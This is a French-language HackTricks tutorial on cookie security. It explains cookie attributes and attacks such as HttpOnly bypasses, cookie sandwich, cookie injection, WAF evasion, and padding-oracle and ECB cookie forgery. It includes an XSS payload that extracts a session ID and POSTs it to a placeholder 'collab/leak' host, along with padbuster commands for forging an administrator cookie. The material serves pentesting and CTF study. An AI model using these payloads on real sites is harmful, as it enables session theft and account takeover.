Cookies Hacking

Reading time: 17 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Attributs des cookies

Les cookies possÚdent plusieurs attributs qui contrÎlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs présenté de maniÚre plus passive :

Expires and Max-Age

La date d'expiration d'un cookie est dĂ©terminĂ©e par l'attribut Expires. À l'inverse, l'attribut Max-age dĂ©finit le temps en secondes avant la suppression d'un cookie. PrivilĂ©gier Max-age car il reflĂšte des pratiques plus modernes.

Domain

Les hÎtes destinataires d'un cookie sont spécifiés par l'attribut Domain. Par défaut, il est défini sur l'hÎte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut Domain est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut Domain moins restrictive, utile lorsque le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir Domain=mozilla.org rend les cookies accessibles sur ses sous-domaines comme developer.mozilla.org.

Path

L'attribut Path indique un chemin URL spĂ©cifique qui doit ĂȘtre prĂ©sent dans l'URL demandĂ©e pour que l'en-tĂȘte Cookie soit envoyĂ©. Cet attribut considĂšre le caractĂšre / comme sĂ©parateur de rĂ©pertoires, permettant des correspondances dans les sous-rĂ©pertoires Ă©galement.

Ordering Rules

Quand deux cookies portent le mĂȘme nom, celui choisi pour l'envoi est dĂ©terminĂ© par :

  • Le cookie correspondant au chemin le plus long dans l'URL demandĂ©e.
  • Le cookie le plus rĂ©cemment dĂ©fini si les chemins sont identiques.

SameSite

  • L'attribut SameSite dicte si les cookies sont envoyĂ©s sur des requĂȘtes provenant de domaines tiers. Il propose trois rĂ©glages :
  • Strict : EmpĂȘche l'envoi du cookie sur les requĂȘtes tierces.
  • Lax : Autorise l'envoi du cookie avec les requĂȘtes GET initiĂ©es par des sites tiers.
  • None : Permet l'envoi du cookie depuis n'importe quel domaine tiers.

Rappel : lors de la configuration des cookies, comprendre ces attributs aide à garantir qu'ils se comportent comme attendu selon les différents scénarios.

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
Un cookie avec l'attribut SameSite permettra de mitiger les attaques CSRF nécessitant une session authentifiée.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Remarquer que temporairement, aprĂšs l'application de ce changement, les cookies sans SameSite policy dans Chrome seront treated as None pendant les 2 premiĂšres minutes, puis comme Lax pour les requĂȘtes POST cross-site de niveau top.

Flags des cookies

HttpOnly

Cela empĂȘche le client d'accĂ©der au cookie (Via Javascript par exemple : document.cookie)

Bypasses

  • Si la page envoie les cookies comme rĂ©ponse d'une requĂȘte (par exemple dans une page PHPinfo), il est possible d'abuser d'un XSS pour envoyer une requĂȘte Ă  cette page et voler les cookies depuis la rĂ©ponse (voir un exemple sur https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Cela peut ĂȘtre contournĂ© avec des requĂȘtes TRACE HTTP, car la rĂ©ponse du serveur (si cette mĂ©thode HTTP est disponible) reflĂ©tera les cookies envoyĂ©s. Cette technique est appelĂ©e Cross-Site Tracking.
  • Cette technique est Ă©vitĂ©e par les navigateurs modernes en n'autorisant pas l'envoi d'une requĂȘte TRACE depuis JS. Cependant, quelques contournements ont Ă©tĂ© trouvĂ©s dans des logiciels spĂ©cifiques, comme l'envoi de \r\nTRACE au lieu de TRACE pour IE6.0 SP2.
  • Une autre voie est l'exploitation de vulnĂ©rabilitĂ©s zero/day des navigateurs.
  • Il est possible de surcharger/overwrite des cookies HttpOnly en rĂ©alisant une attaque de Cookie Jar overflow :

Cookie Jar Overflow

  • Il est possible d'utiliser une attaque de Cookie Smuggling pour exfiltrer ces cookies
  • Si un endpoint cĂŽtĂ© serveur reflĂšte l'ID de session brut dans la rĂ©ponse HTTP (par ex., Ă  l'intĂ©rieur de commentaires HTML ou d'un bloc de debug), il est possible de bypasser HttpOnly en utilisant un XSS gadget pour rĂ©cupĂ©rer cet endpoint, appliquer une regex sur le secret, et l'exfiltrer. Exemple de pattern de payload XSS :
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La requĂȘte HTTP n'enverra que le cookie si elle est transmise via un canal sĂ©curisĂ© (gĂ©nĂ©ralement HTTPS).

Cookies Prefixes

Les cookies prĂ©fixĂ©s par __Secure- doivent ĂȘtre dĂ©finis avec le flag secure depuis des pages sĂ©curisĂ©es par HTTPS.

Pour les cookies prĂ©fixĂ©s par __Host-, plusieurs conditions doivent ĂȘtre respectĂ©es :

  • Ils doivent ĂȘtre dĂ©finis avec le flag secure.
  • Ils doivent provenir d'une page sĂ©curisĂ©e par HTTPS.
  • Il est interdit de spĂ©cifier un domain, ce qui empĂȘche leur transmission aux sous-domaines.
  • Le path de ces cookies doit ĂȘtre dĂ©fini sur /.

Il est important de noter que les cookies prĂ©fixĂ©s par __Host- ne peuvent pas ĂȘtre envoyĂ©s vers des superdomains ou des sous-domaines. Cette restriction aide Ă  isoler les cookies d'application. Ainsi, employer le prĂ©fixe __Host- pour tous les cookies d'application peut ĂȘtre considĂ©rĂ© comme une bonne pratique pour amĂ©liorer la sĂ©curitĂ© et l'isolation.

Overwriting cookies

Ainsi, une des protections des cookies prĂ©fixĂ©s par __Host- est d'empĂȘcher qu'ils soient Ă©crasĂ©s depuis des sous-domaines. Cela empĂȘche par exemple les Cookie Tossing attacks. Dans la confĂ©rence Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) il est expliquĂ© qu'il Ă©tait possible de dĂ©finir des cookies prĂ©fixĂ©s __HOST- depuis un sous-domaine, en trompant le parser, par exemple en ajoutant "=" au dĂ©but ou au dĂ©but et Ă  la fin...:

Ou en PHP il Ă©tait possible d'ajouter d'autres caractĂšres au dĂ©but du nom du cookie qui allaient ĂȘtre remplacĂ©s par des underscores, permettant d'Ă©craser les cookies __HOST- :

Cookies Attacks

Si un cookie personnalisĂ© contient des donnĂ©es sensibles, vĂ©rifiez-le (surtout si vous participez Ă  un CTF), car il pourrait ĂȘtre vulnĂ©rable.

Decoding and Manipulating Cookies

Les donnĂ©es sensibles intĂ©grĂ©es dans les cookies doivent toujours ĂȘtre examinĂ©es. Les cookies encodĂ©s en Base64 ou dans des formats similaires peuvent souvent ĂȘtre dĂ©codĂ©s. Cette faiblesse permet Ă  un attaquant d'altĂ©rer le contenu du cookie et d'usurper d'autres utilisateurs en rĂ©-encodant leurs donnĂ©es modifiĂ©es dans le cookie.

Session Hijacking

Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accÚs non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut se faire passer pour l'utilisateur légitime.

Session Fixation

Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie aprÚs la connexion, l'attaquant, possédant le cookie initial, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.

Si vous avez trouvé un XSS in a subdomain ou que vous control a subdomain, lisez :

Cookie Tossing

Session Donation

Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant ĂȘtre connectĂ©e Ă  son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.

Si vous avez trouvé un XSS in a subdomain ou que vous control a subdomain, lisez :

Cookie Tossing

JWT Cookies

Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles de JWT.

Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent aussi présenter des vulnérabilités. Pour des informations détaillées sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur le hacking JWT.

Cross-Site Request Forgery (CSRF)

Cette attaque force un utilisateur connectĂ© Ă  exĂ©cuter des actions non dĂ©sirĂ©es sur une application web pour laquelle il est actuellement authentifiĂ©. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyĂ©s avec chaque requĂȘte vers le site vulnĂ©rable.

Empty Cookies

(Voir plus de dĂ©tails dans la original research) Les navigateurs permettent la crĂ©ation de cookies sans nom, ce qui peut ĂȘtre dĂ©montrĂ© via JavaScript comme suit:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Le résultat dans le cookie header envoyé est a=v1; test value; b=v2;. De façon intrigante, cela permet la manipulation des cookies si un cookie sans nom est défini, contrÎlant potentiellement d'autres cookies en définissant le cookie vide sur une valeur spécifique :

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Cela entraĂźne l'envoi par le navigateur d'un en-tĂȘte cookie interprĂ©tĂ© par chaque serveur web comme un cookie nommĂ© a avec une valeur b.

Chrome Bug : Unicode Surrogate Codepoint Issue

Dans Chrome, si un Unicode surrogate codepoint fait partie d'un set cookie, document.cookie devient corrompu, renvoyant ensuite une chaĂźne vide :

js
document.cookie = "\ud800=meep"

Cela entraĂźne document.cookie renvoyant une chaĂźne vide, indiquant une corruption permanente.

(Voir plus de dĂ©tails dans laoriginal research) Plusieurs serveurs web, y compris ceux Ă©crits en Java (Jetty, TomCat, Undertow) et en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gĂšrent mal les cookie strings Ă  cause d'un support obsolĂšte de RFC2965. Ils lisent une valeur de cookie entre guillemets doubles comme une seule valeur mĂȘme si elle contient des points-virgules, qui devraient normalement sĂ©parer les paires clĂ©-valeur :

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Vulnérabilités d'injection de cookies

(Consultez plus de détails dans laoriginal research) Le parsing incorrect des cookies par certains serveurs, notamment Undertow, Zope, et ceux utilisant les classes Python http.cookie.SimpleCookie et http.cookie.BaseCookie, crée des opportunités d'attaques d'injection de cookies. Ces serveurs ne délimitent pas correctement le début de nouveaux cookies, permettant aux attaquants d'usurper des cookies :

  • Undertow attend un nouveau cookie immĂ©diatement aprĂšs une valeur entre guillemets sans point-virgule.
  • Zope recherche une virgule pour commencer Ă  parser le cookie suivant.
  • Les classes cookie de Python commencent le parsing sur un caractĂšre espace.

Cette vulnĂ©rabilitĂ© est particuliĂšrement dangereuse dans les applications web qui reposent sur une protection CSRF basĂ©e sur les cookies, car elle permet Ă  un attaquant d'injecter des cookies CSRF-token usurpĂ©s, contournant potentiellement les mesures de sĂ©curitĂ©. Le problĂšme est aggravĂ© par la gestion des noms de cookies dupliquĂ©s en Python, oĂč la derniĂšre occurrence prend le dessus sur les prĂ©cĂ©dentes. Cela soulĂšve aussi des inquiĂ©tudes pour les cookies __Secure- et __Host- dans des contextes non sĂ©curisĂ©s et pourrait conduire Ă  des contournements d'autorisation lorsque les cookies sont transmis Ă  des serveurs back-end vulnĂ©rables Ă  l'usurpation.

Cookies $version

Contournement de WAF

Selon this blogpost, il peut ĂȘtre possible d'utiliser l'attribut de cookie $Version=1 pour amener le backend Ă  utiliser une logique ancienne de parsing du cookie en raison de la RFC2109. De plus, d'autres valeurs comme $Domain et $Path peuvent ĂȘtre utilisĂ©es pour modifier le comportement du backend vis-Ă -vis du cookie.

Selon this blogpost il est possible d'utiliser la technique cookie sandwich pour voler des HttpOnly cookies. Voici les prérequis et les étapes :

  • Trouver un endroit oĂč un cookie apparemment inutile est reflĂ©tĂ© dans la rĂ©ponse
  • CrĂ©er un cookie nommĂ© $Version avec la valeur 1 (vous pouvez le faire via une XSS depuis JS) avec un path plus spĂ©cifique afin qu'il obtienne la position initiale (certains frameworks comme python n'ont pas besoin de cette Ă©tape)
  • CrĂ©er le cookie qui est reflĂ©tĂ© avec une valeur qui laisse un guillemet double non fermĂ© et avec un path spĂ©cifique pour qu'il soit positionnĂ© dans la cookie DB aprĂšs le prĂ©cĂ©dent ($Version)
  • Ensuite, le cookie lĂ©gitime se placera juste aprĂšs dans l'ordre
  • CrĂ©er un cookie factice qui ferme le guillemet double Ă  l'intĂ©rieur de sa valeur

De cette façon, le cookie victime se retrouve piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est renvoyé. e.g. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

Contournements WAF

Cookies $version

Voir la section précédente.

Bypassing value analysis with quoted-string encoding

Cette analyse provoque le dĂ©sĂ©chapement des valeurs Ă©chappĂ©es dans les cookies, donc "\a" devient "a". Cela peut ĂȘtre utile pour contourner les WAFS comme :

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Dans la RFC2109, il est indiquĂ© qu'une virgule peut ĂȘtre utilisĂ©e comme sĂ©parateur entre les valeurs de cookie. Il est Ă©galement possible d'ajouter des espaces et des tabulations avant et aprĂšs le signe Ă©gal. Par consĂ©quent, un cookie comme $Version=1; foo=bar, abc = qux ne gĂ©nĂšre pas le cookie "foo":"bar, admin = qux" mais les cookies foo":"bar" et "admin":"qux". Remarquez comment 2 cookies sont gĂ©nĂ©rĂ©s et comment admin a perdu les espaces avant et aprĂšs le signe Ă©gal.

Enfin différents backdoors joindraient dans une chaßne différents cookies passés dans différents cookie headers comme dans:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ce qui pourrait permettre de contourner un WAF comme dans cet exemple :

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Vérifications supplémentaires des cookies vulnérables

Vérifications de base

  • Le cookie est le mĂȘme Ă  chaque login.
  • DĂ©connectez-vous et essayez d'utiliser le mĂȘme cookie.
  • Essayez de login avec 2 appareils (ou navigateurs) sur le mĂȘme compte en utilisant le mĂȘme cookie.
  • VĂ©rifiez si le cookie contient des informations et essayez de le modifier.
  • Essayez de crĂ©er plusieurs comptes avec des username presque identiques et vĂ©rifiez si vous voyez des similitudes.
  • VĂ©rifiez l'option "remember me" si elle existe pour voir comment elle fonctionne. Si elle existe et peut ĂȘtre vulnĂ©rable, utilisez toujours le cookie de remember me sans aucun autre cookie.
  • VĂ©rifiez si le cookie prĂ©cĂ©dent fonctionne mĂȘme aprĂšs que vous ayez changĂ© le mot de passe.

Attaques avancées sur les cookies

Si le cookie reste le mĂȘme (ou presque) lorsque vous vous login, cela signifie probablement que le cookie est liĂ© Ă  un champ de votre compte (probablement le username). Dans ce cas, vous pouvez :

  • Essayez de crĂ©er de nombreux comptes avec des username trĂšs similaires et tentez de deviner comment l'algorithme fonctionne.
  • Essayez de bruteforce the username. Si le cookie sert uniquement comme mĂ©thode d'authentification pour votre username, alors vous pouvez crĂ©er un compte avec le username "Bmin" et bruteforce chaque bit de votre cookie parce que l'un des cookies que vous essaierez sera celui appartenant Ă  "admin".
  • Essayez Padding Oracle (vous pouvez dĂ©crypter le contenu du cookie). Utilisez padbuster.

Padding Oracle - Padbuster examples

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster effectuera plusieurs tentatives et vous demandera quelle condition correspond Ă  la condition d'erreur (celle qui n'est pas valide).

Ensuite, il commencera le processus de decrypting the cookie (cela peut prendre plusieurs minutes)

Si l'attaque a été exécutée avec succÚs, vous pourrez alors essayer d'encrypt une chaßne de votre choix. Par exemple, si vous souhaitez encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.

CBC-MAC

Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.

L'attaque

  1. Obtenir la signature du nom d'utilisateur administ = t
  2. Obtenir la signature du nom d'utilisateur rator\x00\x00\x00 XOR t = t'
  3. Placer dans le cookie la valeur administrator+t' (t' sera une signature valide de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

If the cookie is encrypted using ECB it could be vulnerable.
When you log in the cookie that you receive has to be always the same.

Comment détecter et attaquer :

Créer 2 users avec des données presque identiques (username, password, email, etc.) et essayer de découvrir un motif dans le cookie fourni

Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

Il devrait y avoir un motif (avec la taille d'un bloc utilisé). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks